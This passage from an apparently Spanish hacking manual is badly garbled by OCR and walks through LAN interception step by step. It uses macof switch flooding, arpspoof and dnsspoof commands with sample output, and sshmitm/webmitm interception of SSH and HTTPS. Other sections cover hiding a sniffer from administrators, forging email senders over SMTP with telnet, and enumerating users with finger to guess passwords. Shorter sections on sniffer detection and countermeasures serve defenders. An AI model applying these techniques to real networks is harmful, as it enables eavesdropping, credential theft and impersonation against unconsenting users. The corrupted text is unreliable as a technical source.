pgnas que haban de dsnff.
omen/ar a usarlo
Una vez que todos os paquetes se han nstaado en a computadora, estaremos stos para compar e
nstaar e fragrouter. S descargamos e .tar.gz, segumos os msmos pasos enstados arrba para
desempacar y compar e programa. Una vez hecho esto, podemos sacar provecho de dsnff. Es
mportante actvar e IP forwardng en nuestra computadora antes de empezar a usar as uteras,
sobre todo e arpspoof.
Para arrancar con e fragrouter, abrmos una consoa de comandos y teceamos e comando que nos
mostrar su manua:
-$ man fragrouter
En as pgnas de manuato se nos mostrarn os dferentes tpos de opcones que se pueden usar
con as apcacones. Para e|ecutar fragrouter, teceamos:
-$ fragrouter -I nterface B1
En a cadena de comando, interface ser eth0 or eth1, etc. S tenemos soo una tar|eta de red, se
puede tecear 7ragrouter @3 y funconar. Soo hay que asegurarnos de e|ecutar e fragrouter, o de
otro modo actvar e IP forwardng en nuestra computadora, porque s no o hacemos, todo e trfco
que estamos redrgendo de otras computadoras r a nuestra computadora, pero no contnuar
haca e destno a que se desea egar, o que causara nterferenca sobre a red.
Tras actvar e fragrouter, se pueden empezar a usar as dems uteras como e arpspoof. En este
punto es necesaro comenzar a revsar as formas de ataque y hacer un test de penetracn.
En as seccones sguentes mostraremos como se puede utzar dsnff en varos escenaros de
ataque.
Preliminares: Accediendo Al Tr67ico De Bed Objetivo
Antes de comenzar a usar dsnff sobre una LAN, necestamos tener prvegos de root o acceso de
admnstrador a un host conectado a a LAN. E |uego de herramentas de dsnff puede usarse en
Lnux, OpenBSD, FreeBSD y Soars. Aunque exste una versn para WnNT, no es recomendabe por
o ve|o y achacoso que es.
Exsten tres posbdades para accesar a trfco de una red:
aso 3. La red de rea oca utza un hub: en este caso, no necestamos nada. Todo e trfco que va
a cuaquer host es vsbe para cuaquer otro host de a red.
aso 8. La red de rea oca usa un swtch (conmutador): En a arqutectura conmutada, como
menconamos anterormente, todos os hosts estn conectados a swtch sobre su propo puerto
asado.
113
E swtch eva a psta sobre cu host se encuentra en qu puerto y soo enva trfco cuyo ob|etvo
sea ese host y ese puerto. Sn embargo, a ntencn prncpa es ncrementar e desempeo (ya que
cada host obtene una conexn propa en vez de ser compartda como con e hub). Por esta razn, es
fc de vencer smpemente confundendo a swtch para que perda a nocn de qu host est en
qu puerto. La mayora de os swtches responden a esta condcn con un "fao de apertura", o cua
sgnfca que comenzar a actuar como un s fuera un hub, es decr, envando trfco a todos os
puertos. Ntese que esto tambn causar que sufra e desempeo de a red y que esta dsmnucn
de poder sea detectabe por cuaquer otra persona que ocupe a msma red. Para ograr esto:
Usamos a herramenta maco7 para nundar (food) a red con dreccones MAC aeatoras que
desbordarn a taba de traduccn nterna de swtch. Sn esta taba, e swtch ya no podr saber qu
host est en cada puerto, por o que no tendr ms opcn que envar todos os paquetes a todos os
puertos. S e swtch no hace un "fao de apertura", a opcn que resta es provocar un "fao de
cerrado", en cuyo caso nada de trfco egar a nngn host de a LAN. Aunque e fao de cerrado no
es opcn para a mayora de os equpos, podra consderarse un tpo especa de ataque fc de
denegacn de servco.
Nota: La mayora de os swtches pueden ser confgurados para permtr soo una dreccn MAC que
sea f|a por puerto. En este caso, macof no tendr efecto aguno.
aso K. La red de rea oca usa un swtch y nosotros deseamos apuntar a un host especfco, s no
deseamos esnfar todo e trfco en a red oca, podemos de|ar a un ado e swtch y enfocarnos a
crear confusn en ese host especfco para que pense que nosotros somos e gateway/router. Por o
tanto, cuaquer trfco que e host desee envar haca e exteror de a LAN, pasar prmero por
nuestro host. As de senco. Ntese que por su naturaeza, este tpo de esnfado es e ms
candestno de todos, en vrtud de que soo afecta a host ob|etvo y en a manera que nosotros
especfquemos, por o que es poco probabe que aguen se de cuenta de suceso. Se ogra as:
Dado que estamos apuntando a un partcuar host y no a a LAN entera, soo requermos causar que
e host banco dr|a equvocadamente os paquetes de a red haca nuestro host de ataque Man-In-
The-Mdde (sobre a LAN). Para ograr esto, necestamos usar arpspoof para envar paquetes ARP
fasos a host banco dcndoe que e host de ataque Man-In-The-Mdde es e gateway. De esa
manera, cuaquer trfco que se ntente envar por fuera de a LAN egar a nosotros. Antes de hacer
esto, debemos ndcar a host atacante que enve paquetes haca e gateway verdadero, de otro modo
se notar rapdamente que e host banco ha de|ado de tener conexn con e ado exteror de a LAN.
Ata-ue Dno: Esni7ado de ontraseSas
Una vez que e trfco de red de host banco, o de a LAN competa, est dsponbe para e host
esnfador tras haber empeado as tcncas descrtas anterormente, es senco ya arrancar e
programa dsnff, e cua automtcamente detectar y capturar mucha nformacn muy nteresante.
De hecho, cuaquer snffer que se respete capturar e trfco gua de ben, pero |ams tendr e
conocmento ntegrado de as varadas apcacones que dsnff posee.
Ata-ue Dos: a&tura de <ensajes ) Arc+ivos
Usando as uteras msgsnar7 y 7ilesnar7, e capturar correos eectrncos y archvos transferdos es
gua de fc como a captura de contraseas. Ambos programtas nterpretan e trfco de red
reevante para obtener resutados. msgsnarf graba e correo capturado en un archvo con formato
mbox para ser edo por programas de ectura de correos standard de UNIX. fesnarf graba os
archvos capturados en e drectoro actua.
Ata-ue Tres: a&tura de DBL
La herramenta urlsnar7 es smar a as otras que ya hemos menconado, pero est dseada para
capturar petcones HTTP y regstra en una og a URL a que hace referenca. webspy hace ms o
menos o msmo, pero en vez de regstrar a URL, a esnfa y a sgue, de modo que vamos navegando
as pgnas en tempo rea.
114
Ata-ue uatro: <an5in5t+e5<iddle
Todos os ataque que hemos menconado hasta e momento son pasvos ya que no ateran e modo de
funconar de sstema que est sendo atacado. Hay que notar que e hacer que un swtch tenga un
fao de apertura puede ser vsto como un ataque actvo sobre ese swtch, aunque en readad e
trfco de a red soo est sendo observado; no se ha modfcado su enrutamento n se ha
nterceptado. Por otro ado, un ataque Man-n-the-Mdde s es un ataque actvo ya que e host
atacante |uega un pape mportante en e mane|o de trfco de a red entre os banco de orgen y
destno.
Recordemos que un ataque Man-n-the-Mdde es cuando e host banco es engaado para que pense
que se est conectando a un host destno cuando en readad a conexn a hace con e host
atacante. De esta manera, e host atacante posee ahora e contro y puede ver y/o modfcar a
nformacn obtenda. Esto es anogo a una stuacn donde |uan, un su|eto que ama a Marana, no
es corresponddo porque ea ama ocamente a Pepe. Una noche, |uan se dsfraza y se hace pasar por
Pepe para corte|ara. Marana se de|a amar por |uan creyendo que es Pepe y e cuenta sus ms
ntmos secretos.
Este tpo de ataque es partcuarmente efectvo cuando se trata con conexones encrptadas con
crptografa de cave pbca. La crptografa de cave pbca requere que e host que se conecta
tenga una copa de a cave pbca de otro host a que se conecta; s no, tendr que consegura de
aguna parte. Con protocoos taes como SSH, e host destno sumnstrar su cave pbca. Los
ataques Man-n-the-Mdde toman venta|a a nterceptar e ntento de conexn nca y substtur su
propa cave pbca fasa (para a que tenen a cave prvada y pueden, por tanto, desencrptar os
datos.) S e usuaro conectado en e otro extremo |ams ha vsto a cave prvada correcta, es muy
probabe que e faseamento no sea detectado y que e ataque sea un exto. An y s e usuaro tene
a cave pbca correcta para hacer a comparacn, e sstema presentar un mensa|e que e nforma
que a cave ha cambado y s desea contnuar. Es ncrebe cuantos usuaros pusan OK sn pensrseo
dos veces. Ntese que esto no es cupa de protocoo. La cupa recae en os usuaros y en as
mpementacones que muestran pequeas advertencas cuando ocurre un evento tan sero, como o
es e cambo de una cave.
on7igurando el Ata-ue
E|ecutar un ataque Man-n-the-Mdde (MITM) es ms compe|o que os ataques anterores, pero
empeando as herramentas de dsnff se vueve ms fc. En este escenaro hay tres sstemas
(adems de gateway) nvoucrados en nuetra red de muestra:
Client Host: Windows, con PuTTY instalado (Un programa gratuito SSH para Winxx)
IP=192.168.1.77 (Direccin MAC irrelevante)
Atacante MITM: (con dsniff ejecutndose)
MAC=08-00-BA-DD-FE-ED, IP=192.168.1.210
Destino: Direccin MAC irrelevante, IP est por fuera 192.168.1.x
Hostname = "external.host.com"
Gateway (y servidor DNS): Sirve 192.168.1.x LAN
MAC=08-00-DE-AD-BE-EF, IP=192.168.1.1
Debemos engaar a host cente (e ob|etvo de nuestro ataque) para que pense que e host MITM es
e gateway. Esto se ogra utzando a utera ar&s&oo7. A nco podemos observar que e cente
tene a entrada correcta ARP para e gateway:
[Cliente] C:\WINDOWS>arp -a
Interface: 192.168.1.77 on Interface 0x2000003
Internet Address Physical Address Type
192.168.1.1 08-00-de-ad-be-ef dynamic
115
E|ecutando arpspoof sobre e host MITM eso cambar. Debemos recordar actvar e p-forwardng
para que e host MITM enve os paquetes a gateway verdadero. Para mnmzar a vsbdad de este
ataque, apuntaremos especfcamente a sstema cente:
[Host MITM] % arpspoof t 192.168.1.77 192.168.1.1
Ahora podremos revsar de nuevo a taba ARP de cente para ver s funcon:
[Cliente] C:\WINDOWS>arp -a
Interface: 192.168.1.77 on Interface 0x2000003
Internet Address Physical Address Type
192.168.1.1 08-00-ba-dd-fe-ed dynamic
Podemos ver que esta es a dreccn MAC de host MITM y todo e trfco destnado a gateway desde
e cente se drgr a host MITM. Esta fase de ataque est competo.
Para o sguente, necestamos hacer bsquedas DNS dentro de trfco, y cuando encontremos una
para un host destno de que deseamos dsfrazarnos, nosotros respondemos a esa bsqueda en vez
de pasara a verdadero servdor DNS. Respondemos con a dreccn IP de host MITM atacante en
ugar de a dreccn IP rea. Usamos dnsspoof para responder a cuaquer petcn para un hostname
"externa.host.com", que posea una dreccn IP por fuera de a red 192.168.1.x. Podemos ser muy
especfcos a crear un archvo con formato 6etc6hosts acarando cuaes hostnames hay que fasear,
pero por omsn, dnsspoof fasear todas as bsquedas de hostname o cua est ben para nuestro
e|empo:
[Host MITM] % dnsspoof
Revsar ahora que est funconando sobre e cente:
[Cliente] C:\WINDOWS>ping external.host.com
Pinging external.host.com [192.168.1.210] with 32 bytes of data:
Fucona, externa.host.com se reporta con a IP de host MITM.
E host banco comenzar entonces a conexn a hostname que especfc e usuaro, pero con a
dreccn IP que nosotros especfcamos (192.168.1.210), es decr, e host MITM. S a apcacn que
se usa es SSH o un navegador web que empea HTTPS, podemos echar mano de as uteras
ss+mitm o Gebmitm para mane|ar ambos protocoos (por certo, sshmtm soo soporta e protocoo
SSH, y no e ms nuevo SSH2, aunque sgue estando su|eto a msmo requermento de confanza
para e ntercambo de cave, ta y como sucede con cuaquer encrptacn de cave pbca).
sshmtm o webmtm envan una cave pbca fasa a host banco y comenzan una conexn propa
a servdor destno rea. Una vez hecho esto, tendremos en readad dos conexones: una que va
desde e host baco/vctma a host MITM, y otra que va desde e host MITM a host destno verdadero.
En este punto, e host MITM puede proxear e trfco entre os dos hosts, desencrptando y
reencrptando e trfco en e proceso, todo mentras se montorza e trfco desencrptado. De
manera adcona, dado que exsten dos conexones ndependentes, sempre podemos termnar a
conexn de host banco y smpemente apoderarnos de a sesn nteractva desde e MITM a host
destno.
Para verfcar que esto funcona, ntentaremos conectarnos a exampe.host.com empeando a
herramenta PuTTY en e host cente. Este es e host a que nos hemos conectado anterormente, as
que ya tenemos una copa de a cave pbca verdadera. Lo que obtenemos es e sguente mensa|e
de advertenca:
116
WARNING POTENTIAL SECURITY BREACH!
The servers host key does not match the one PuTTY has stored in the registry
Entonces, a usuaro se e presentan tres opcones: Yes, o y !ancel. Tanto a opcn Yes (S) como
No, contnan a conexn (Yes actuaza a cave amacenada, pero a opcn 0o, no o hace), y soo a
opcn "ancel detene a conexn. Yes es a opcn por omsn s a usuaro se e ocurre presonar a
teca =nter sn eer o squera pensar.
A menos PuTTY tene a venta|a de advertr a usuaro en termnos caros. Otras herramentas
centes, como SecureCRT (un cente de paga) no expca nada y soo pregunta a usuaro s desea
segur conectado (con a opcn Yes por defaut). Programas centes SSH de UNIX pueden ser
confgurados para revsar de manera "estrcta" a cave de host, o que posbta qutar e permso de
conexn a cuaquer host cuya cave haya cambado. Esto obga a usuaro a emnar manuamente
a cave de host-conocdo exstente s est seguro de que no hay un probema de segurdad.
E trfco HTTPS puede ser abordado de modo smar. Pero en este caso se empea webmtm en vez
de sshmtm.
.ebs&): Esta utera, aunque smar a ursnarf, es mucho me|or. Con este programa podemos ver
en tempo rea, as pgnas que e espado est vstando. Nota mportante: s se navega por +tt&s
8M

no se puede usar, porque a "s", a fna de http sgnfca safe (seguro). So es vdo para
navegacn en http y a travs de proxy. Por defecto captura e trfco drgdo a os puertos 80, 8080 y
3128, estos dos tmos usados como proxes.
Antes de usar Webspy hay que tener en cuenta dos cosas: tenemos que conocer a IP de a mquna
que deseamos espar y tener ya en e|ecucn e navegador donde se mostrarn as pgnas que e
usuaro espado vsta. Por defaut, e programa vene confgurado para utzar netscape y moza.
Podemos comenzar a utzaro teceando
webspy IP-de-Pc-a-espar
ahora que s o que se desea es espar una determnada nterfaz de red, se cooca a opcn 5i.
Cuando ya est e|ecutndose, se ver en e navegador pasar as pgnas que vsta a persona en a
mquna remota cas en tempo rea. Hay que tener en mente que s ovdamos arrancar e
navegador, webspy se cae a querer cargar a prmer Ur.
Esni7ando claves
Cuando se revsan detendamente os regstros consegudos por un snffer, podremos darnos cuenta
de que constan de muchos puntos y smboos raros. Pero estos caracteres, de prmera aparenca
extraos, en readad contenen pezas de nformacn. De ese cauda de datos que se pueden traer,
podremos fcmente extraer nformacn vta como desde dnde se conectan os usuaros, o que
escrben y hasta sus contraseas prvadas.
Los datos que pueden ser capturados sn ms son caves de correo POP, Tenet o FTP (que va|an en
texto pano) y que con cuaquer snffer pueden eerse sn mayor probema.
25HTTPS Secure HyperText Transfer Protocol (Protocolo Seguro de Transferencia de Hipertexto) Protocolo de seguridad diseado por
Netscape e incorporado a su propio navegador con el fin de garantizar la seguridad de las comunicaciones entre el usuario y el servidor web
al que ste se conecta. Para ello utiliza el protocolo SSL, desarrollado tambin por Netscape.
117
Deteccn de Snffers
Aunque en Mxco no es un probema de todos os das, dado que a cutura hacker no est muy
arragada como en otros pases, cuando se es admnstrador u operador de un sstema y se est a
cargo de a segurdad de una red, es de cruca mportanca verfcar s aguen ha nstaado
deberadamente un snffer en aguna parte de a red y que no debera estar ah. Soo un
admnstrador perezoso pasara por ato ncur entre sus tareas a bsqueda de snffers en su red
oca. Afortunadamente, os snffers tenen un buen nmero de ndcadores que seaan su presenca.
La sguente es un pequeo stado de seaes que se deben consderar para saber s exste un snffer
traba|ando en e sstema.
1.- La NIC est operando en modo promscuo. E programa c&m es capaz de detectar s a tar|eta de
red est en esta modadad. En nux se usa e comando i7con7ig 5a para buscar a bandera (fag)
promsc, como menconamos anterormente.
2.- Certo nmero de snffers son vsbes en e stado de procesos actvos. En Wnxx, a utera
Process Ex&lorer de Sysnternas puede mostraros. En Lnux puede tecearse desde una termna e
comando &s con certas opcones:
-$ ps auxf
o
-$ ps -axw
3.- La mayora de os snffers sueen crear extensos archvos de regstro (ogs). Se debe vgar este
tpo de archvos en drectoros ocutos.
Estas tcncas menconadas funconan ben en deteccn de snffers basada en host. Sn embargo, en
a deteccn de snffers basada en red, se debe echar mano de programa Antisni77, una utera
desarroada por L0phtCrack que busca y encuentra tar|etas de red en modo promscuo. Aunque hoy
no exste una pgna ofca, e programa puede descargarse desde cuaquer pgna que trate sobre
asuntos de segurdad nformtca.
Las sguentes meddas contra snffers son ms permanentes:
1.- Cambarse a redes con swtches. Esto permte que os paquetes soo eguen a a mquna que
estn destnados. De este modo se mta e dao causado por e snffer.
2.- Tambn ayuda mucho e empeo de tecnoogas de encrptacn como SSH, IP Securty Protoco,
etc.
,erramientas de b9s-ueda
Exste un programta en C amado &romisc4c que cuando es compado e nvocado, efecta una
barrdo en a mquna oca en busca de a presenca de modo promscuo en a tar|eta de red.
Otro programa en C de nombre ne&ed4c hace una verfcacn remota de cuaquer actvdad snffer.
Este programa soo se compa en Lnux. Tanto promsc.c como neped.c se pueden en servdores FTP
hacendo una bsqueda con googe.
118
,aciendo a los 0ni77ers Di7;ciles de Detectar
Exste un mtodo que ayuda a dfcutar ms a deteccn de un snffer en una red. Hay que hacer que
e snffer ponga a a tar|eta NIC en modo promscuo, pero se e asgna a a tar|eta a dreccn 0.0.0.0.
Esto permte a snffer montorear e trfco sn ser detectado. Aunque an estn os probemas de os
mensa|es y as aertas que sern movdos de a tar|eta donde acta e snffer a otra tar|eta para que
termnen de ser entregados. La segunda tar|eta posee una dreccn norma, pero no est en modo
promscuo, por o que ser muy dfc de detectar este tpo de ataque.
Lo que se ha de tener en cuenta cuando se nstaa un snffer en una mquna es que, s hay mucho
trfco de paquetes en esa mquna y no se seeccona ben a forma de ftrar qu nformacn queda
en e og y cua no, se pueden generar archvos de ogs grandsmos que harn sospechar a
admnstrador de sstema o a operador. Este es un factor que debemos tener en cuenta ya que, en
ocasones s nos equvocamos, se crea un archvo grandsmo de varos megas y e root se percatar
de a ntrusn.
Dependendo de a mquna y su trfco puede ser sufcente mrar os ogs cada semana ms o
menos o cada dos.
Es muy mportante determnar e dao que pudera resutar de un uso macoso de herramentas
como as que menconamos en apartados anterores, cuando consderamos e nve de segurdad que
requermos mpementar en nuestra red.
E hecho de tener una red conmutada no sgnfca que uno est a savo de ntrusones. Sempre
debemos sopesar e vaor de os datos que transtan por nuestra red y poner en a baanza ese vaor
con respecto de costo de a proteccn de datos. S en nuestra red exste nformacn que debe
permanecer confdenca, podemos pensar en usar encrptacn de datos en a LAN. Sempre
debemos de tener agn tpo de mecansmo de deteccn en nuestro cortafuegos que nos auxe en
ocazar computadoras con a tar|eta de red en modo promscuo, o una herramenta que detecte y
reporte os ARP-Spoofs y otras actvdades de red sospechosas.
119
Usando Tenet
Tenet es un pequeo programa para comuncacones remotas y a msmo tempo es un protocoo en
s msmo y su puerto es e 23. Se basa en uno de os protocoos ms antguos creados para e Internet
y fue, en su tempo, uno de os pares de a mayora de os sstemas UNIX. En sus ncos, Tenet era a
apcacn utzada para comuncarse con otras mqunas y as poder acceder a a nformacn. Hoy
da, no es una herramenta muy utzada en vrtud de que actuamente exsten sstemas que nos
permten accesar servcos que anterormente soo Tenet permta, como son e FTP, Gopher
26
, etc.
!unci'n
Tenet srve bscamente para controar remotamente otra computadora. Lo que a converte en una
herramenta bsca para quen quera sumergrse en e cauda de datos que exsten dsponbes. S
accedemos medante una red comn a otra mquna e ntentamos e|ecutar una apcacn, esta
correr en nuestra computadora, no en donde resde e programa. Sn embargo, Tenet hara que todo
se e|ecutara en a mquna remota, permtendo a un admnstrador de sstemas evar a cabo
modfcacones remotas desde otro ugar.
Tenet est presente en Wndows y en agunas dstrbucones de Lnux y funcona con a fosofa
cente-servdor. Lo usan dspostvos como e mdem y os routers para su confguracn manua
cuando e ntento por va web faa. Tenet permte conectarnos en cadad de cente a cuaquer
servdor, de correo, web, etc.
Uno de sus usos ms smpes es para comprobar qu puertos estn a a escucha. En e ambente
grfco KDE, e servco tenet se nvoca como *telnetservice.
E proceso de conexn se hace medante nuestra mquna, que ser a terminal (que se conoce
como ocahost), que se conecta a una computadora que se amar ,ost (host remoto). Para a
comuncacn utzamos e Tenet (Termna Emuator) que nos permtr emuar a conexn drecta a
host, aunque en readad estemos conectados a Internet. Para a conexn no mporta e tpo de
sstema operatvo que exsta entre ambos extremos.
Agunas mqunas Tenet son pbcas y otras son prvadas y entre a nformacn a a que podemos
acceder se cuentan bases de datos de varas unversdades e nsttucones centfcas. Agunos
centes Tenet en e entorno Wnxx son CRT, Tera Termp; para Macs est e BetterTenet, DataComet;
aunque o ms senco es usar e programa que ya vene en cas cuaquer sstema operatvo que
tenga soporte para redes TCP/IP.
Dso de Telnet
Tenet es un protocoo que se basa en tres prncpos caramente defndos: por un ado e concepto de
NVT (Network Vrtua Termna) que es un dspostvo vrtua con una estructura bsca comn a una
ampa gama de termnaes reaes y donde cada host smua as caracterstcas de su propa termna.
En Wndows se nvoca e comando desde a consoa smpemente como sgue:
tenet ocahost 80
S no se especfca un puerto, e servco ntentar conectarse a puerto 23. S e puerto est aberto,
se queda en espera de nstruccones, caso contraro, no se conectar.
26Gopher (Gopher) Antiguo servicio de informacin distribuida, anterior a la aparicin del WWW. Desarrollado por la Universidad de
Minnesota, ofreca colecciones jerarquizadas de informacin en Internet.
120
Desgracadamente e programa Tenet que vene con Wndows no es tan bueno como e de Lnux. No
muestra os caracteres que se pusan en e tecado y tendramos que actvar e "eco oca", pero esta
opcn no se encuentra dsponbe en todos os Wnxx.
Exste una herramenta dseada para conexones tpo SSH, Tenet y rogn amada Putt) y resuta
muy convenente. Su funconamento es senco y no requere ser nstaado. Se seeccona a opcn
de Tenet, se modfca e puerto, se ndca e host de destno y ya est sto para comprobar o
conectarse a cuaquer puerto. Pero sobre todo, permte ver os caracteres que son pusados a travs
de tecado.
Para usarse e Tenet, debe prmero saberse e nombre o a dreccn de a computadora, adems de
tener acceso a una cuenta de usuaro, aunque sea de nvtado (guest) o pbca. Dependendo e tpo
de termna que se pretenda emuar, exsten dos tpos prncpaes: telnet (para emuacones tpo VT
-Vrtua Termna- de DEC, que es e ms extenddo) y tnK8OR (versn de tenet para emuacones
IBM).
Para e|ecutar a apcacn soamente necestamos tecear desde e prompt
27
de sstema e comando
<<tenet>>. De a msma manera que hacen os centes FTP, a mayora de os centes tenet nos
permtrn crear perfes y edtar preferencas sobre estos. De esta manera, podemos decr a a
apcacn, por e|empo, a qu servdor vamos a conectarnos, e nombre de usuaro y a contrasea, e
tamao de a ventana, de etra y su coor y otros tantos parmetros.
Una vez que estemos preparados, pusamos a OK, o escrbmos "connect" u "Open" (dependendo de
cente que estemos utzando) y a apcacn proceder a ntentar a conexn. Una vez confrmada y
se nos autorce, tendremos acceso a os drectoros y archvos de nuestra cuenta y a o que se
denomna she (nuestra ventana MSDOS
28
, aunque en Lnux es ms avanzado) . Desde este entorno
podremos copar, mover, emnar archvos. Tambn se pueden crear drectoros, dar y remover
permsos para archvos y drectoros.
Lo prmero que debemos hacer es famarzarnos con os comandos bscos propos de host y para
eso teceamos e comando "hep". Como toda herramenta que requere de dversos comandos, es
soo cuestn de prctca manpuar a mayora de eos, ya que su uso correcto a converte una
utera muy poderosa para mane|ar stos web (con ea podemos automatzar tareas, borrar de modo
masvo nformacn, cambar y asgnar contraseas). Se recomenda nvestgar con a ayuda de she
de a cuenta para rnos famarzando con os comandos adecuados.
E proceso bsco de conexn con Tenet ser de modo sguente: Tecear <<Tenet Dreccn>>
desde e prompt de nuestro sstema operatvo. A contnuacn veremos como se ntenta a conexn
con e sto remoto. S todo est en orden (que a dreccn a a que deseamos conectarnos tenga e
puerto preparado para una comuncacn medante tenet) se proceder a a dentfcacn de usuaro
medante e nombre de usuaro (username) y una contrasea.
Una vez hecho o anteror, habr que eegr e tpo de moduacn (VT100, ANSI, etc). La opcn VT100
es a ms recomendada, y es posbe que se confgure automtcamente, aunque esto depende de
cente. Hay que recordar que no hay grfcos, todo vene en neas de comandos.
Tambn podremos acceder a servdores tenet desde e navegador web, sempre y cuando o
tengamos confgurado para que e|ecute a apcacn tenet a momento de ncar a conexn a
servdor tenet.
27 Es la parte de la consola de comandos del DOS de una computadora que nos pide un comando. Es el smbolo C:\>.
28(Sistema Operativo de Disco) DOS fue el primer sistema operativo para computadoras personales. Se basa en comandos que se escriben
lnea por lnea dese un prompt. MSDOS significa Microsoft DOS. No confundir con DoS (Denial of Service), con "o" minscula.
121
La URL de servdor tenet a que nos conectamos deber evar como protocoo
tenet:://
o
tn3270://
dependendo de tpo de termna que permta e servdor. S a o argo de una conexn tenet a a
computadora se queda boqueada o tenemos agn probema de comuncacn que nos "nhabta",
es preferbe, antes de dar un reset a a mquna, utzar a secuenca de sada que nos ndca a
consegur a conexn (por o reguar TBL5X) y no a teca E0.
Debemos destacar e comando tracert que nos muestra a ruta por a que pasan nuestros paquetes
IP antes de egar a su destno, o que nos puede auxar a a hora de decubrr a IP de aguna
mquna que se encuentre en a msma red.
La apcacn ,i&erterminal es un programa nstaado por defecto en todas as versones de
Wndows. Contene un buffer en una seccn de cdgo que procesa e URL-Tenet. Es una utera para
conectarse con otras mqunas, servdores tenet de Internet, BBSs y servcos en nea medante un
mdem o tar|eta de red. Hpertermna no vene nstaado como cente de Wndows 2000.
0acando Partido a Telnet
E puerto 110 (pop) es e utzado para recbr correo. Con e Tenet podemos eer y emnar os
mensa|es de correo an antes de usar un cente de correo habtua. Para esto, prmero debemos
acceder a un servdor de correo, por e|empo Yahoo:
tenet pop.yahoo.com.mx 110
user: nuestro_username
pass: nuestro_password
S os datos son correctos se efecta a conexn a servdor. Para conocer qu mensa|es tenemos en
e buzn, utzamos e comando st. S queremos abrr un mensa|e en concreto, nos quedamos con e
nmero de msmo y usamos e comando retr + nmero_de_mensa|e. Empeando e comando dee +
nmero_de_mensa|e, podremos borrar un mensa|e cuaquera. Medante e comando stat accedemos
a as estadstcas, pero para saber qu otros comandos hay, usamos e comando hep.
Ahora ben, s o que deseamos es envar un ema empearemos e puerto 25 (smtp) que nos permte
eegr e nombre de quen enva e correo, o que nos da una dea de a versatdad que se nos ofrece,
aunque s e que recbe e mensa|e hace gaa de conocmento podr ver, s escudra un poco e
cdgo de mensa|e, desde dnde se ha envado. Gracas a esto se pueden hacer bromas, pero hay
que tener concenca de que nos podemos meter en apretos. Para esto, hay que tecear
tenet smtp.yahoo.com.mx 25
S o que queremos es envar un mensa|e hacemos:
ma from: un_nombre <un_nombre@cuaquer_sto.com>
o tambn
ma from: un_nombre@cuaquer_sto.com
Exste una pequea dferenca entre ambos casos presentados. En e prmer e|empo aparecer en e
programa de correo que se use para eer os mensa|es "un_nombre" como remtente de mensa|e.
Mentras que por otro ado, en e segundo caso, e remtente ser "un_nombre@cuaquer_sto.com".
122
Exsten servdores que exgen expresamenten que e servdor detrs de a arroba (@) reamente
exsta. S se ega a presentar este caso, no hay mas que escrbr e nombre de agn servdor que
conozcamos, cuaquera es vdo.
Para desgnar e destnataro hacemos uso de comando rc&t de modo sguente:
rcpt to: su|eto <su|eto@conocdo.mx>
Luego ponemos e cuerpo de mensa|e. Para comuncar a servdor que vamos a proceder con esta
parte de ema, usamos e comando data. S no escrbmos nada, a prmera nea ser a de asunto
(sub|ect). A contnuacn tendremos que de|ar una nea en banco y e resto de cuerpo de mensa|e.
Para termnar de escrbr e mensa|e, pondremos un punto y pusamos a teca <enter>.
Bemailers
En este apartado expcaremos os denomnados remaers annmos. stos son servdores de correo
saente que no ncuyen a dreccn IP de remtente. Tambn se e conoce como remaer annmo a
servco que remueve e campo "From" de nuestros mensa|es y o redrgen a destnataro orgna.
Debemos destacar que nnguno de os dos casos es reamente annmo en vrtud de que, en e caso
de que aguen sguera nuestro rastro, vera como queda regstrado nuestro paso por os servdores.
Para evtar esto, deberemos saber s un servdor es o no un remaer annmo utzando e comando
heo.
Heo cuaquer_cosa
S o que recbmos como respuesta es de tpo sguente
helo (nuestro_nombre_en_red) [(nuestra_IP)] please to meet you
con esto deducremos fcmente que no es un servdor annmo.
S por e contraro, en a respuesta no se ncuye nuestra dreccn IP, muy posbemente o ser. Esto
o podemos comprobar envando un mensa|e y comprobando posterormente s a ncuye.
Aunque no es obgatoro, sempre es de buena costumbre utzar e comando +elo a conectarnos a
servdor, porque a veces nos enva una advertenca de que somos unos paurdos que no saudamos.
En e caso, muy habtua, de que e servdor muestre nuestra IP de procedenca, quz podamos
encontrar agn servdor correndo un daemon antguo que no mpemente este tpo de nformacn.
Es muy dfc, pero vae a pena ndagar.
Otros comandos de inter(s
Hay otros comando tes por a nformacn que podemos ograr a usaros
0)stat: ste comando nos da nformacn sobre os procesos que se estn e|ecutando en a mquna
remota.
tenet <servdor> systat
!inger: Es una comando empeado de a forma
fnger <servdor> <usuaro>
123
E comando 7inger nos posbta conocer acerca de os usuaros de un sstema. S no ponemos e
parmetro usuaro, nos ensear todos os que se encuentren conectados en ese precso nstante (sn
embargo, hay que seaar que debemos ser root para ograr esto).
S no nos proporconara una sta de usuaros, podemos especuar con nombres a azar. Por e|empo, s
estamos en una mquna de Amrca Latna o Espaa, podemos ntentar con nombres como |os,
Pedro, |uan, Pgarca, Mara. que son de os ms abundantes. S a mquna se encuentra en pases de
haba ngesa, podemos expermetar con nombres como |oe, Peter, Mary.
Exsten usuaros atrevdos que de este paso se satan a a bsqueda de contraseas utzando e
msmo mtodo. Recordemos que muchas personas usan su apedo como contraseas. Tenendo e
nombre de usuaro y a contrasea, se puede ntentar a supantacn de dentdad, o que consttuye
un deto en forma dcho sea de paso. Tambn se puede hacer uso de a Ingenera Soca (pgna 43)
para extraer nformacn decada y penetrar frauduentamente os sstemas.
Desventajas
S acaso a nca desventa|a de Tenet es a nterfaz sn grfcos, o que suee despntar a usuaro que
est acostumbrado a os programas con ventantas. Pero cuando uno se acostumbra, se pueden
hacer maravas.
124
Prueba de Penetracn
E prmer paso de una prueba de penetracn consste en dentfcar qu servcos est e|ecutando e
sstema vctma. En ste apartado trataremos de documentarnos a manera de ntroduccn, sobre as
tcncas conocdas de escaneo de puertos que son necesaras para descubrr su estado: abertos,
cerrados, ftrados. En ste tmo caso trataremos de averguar as regas de ftrado que e
cortafuegos est apcando.
E empeo de herramentas como Nmap (de que habamos en a pgna 93) y hpng2 pueden
automatzar e escaneo pero no son 100% fabes. Sempre debemos nterpretar os resutados
devuetos por os programas. Por esta razn debemos conocer en profunddad e proceso evado a
cabo en cada una de as tcncas empedas.
Las tcncas de escaneo pueden dvdrse en dos grupos: O&en scanning (escaneo aberto), ,al75
o&en scanning (escaneo a medo abrr) y 0tealt+ scanning (escaneo sgoso). Esta dvsn se
hace en funcn de grado de conexn reazada contra a mquna destno y en funcn de as
caracterstcas de os paquetes envados. Conocer qu tcnca es a ms adecuada depende de a
topooga de a red, de s exste o no un IDS detrs, de grado de "ogueo" de sstema.
E empeo de un escaneo de tpo Open scannng nos proporcona un nve de fabdad muy eevado y
convenente, pero hay que tener en cuenta que os ogs de|ados son atos y haran satar a cuaquer
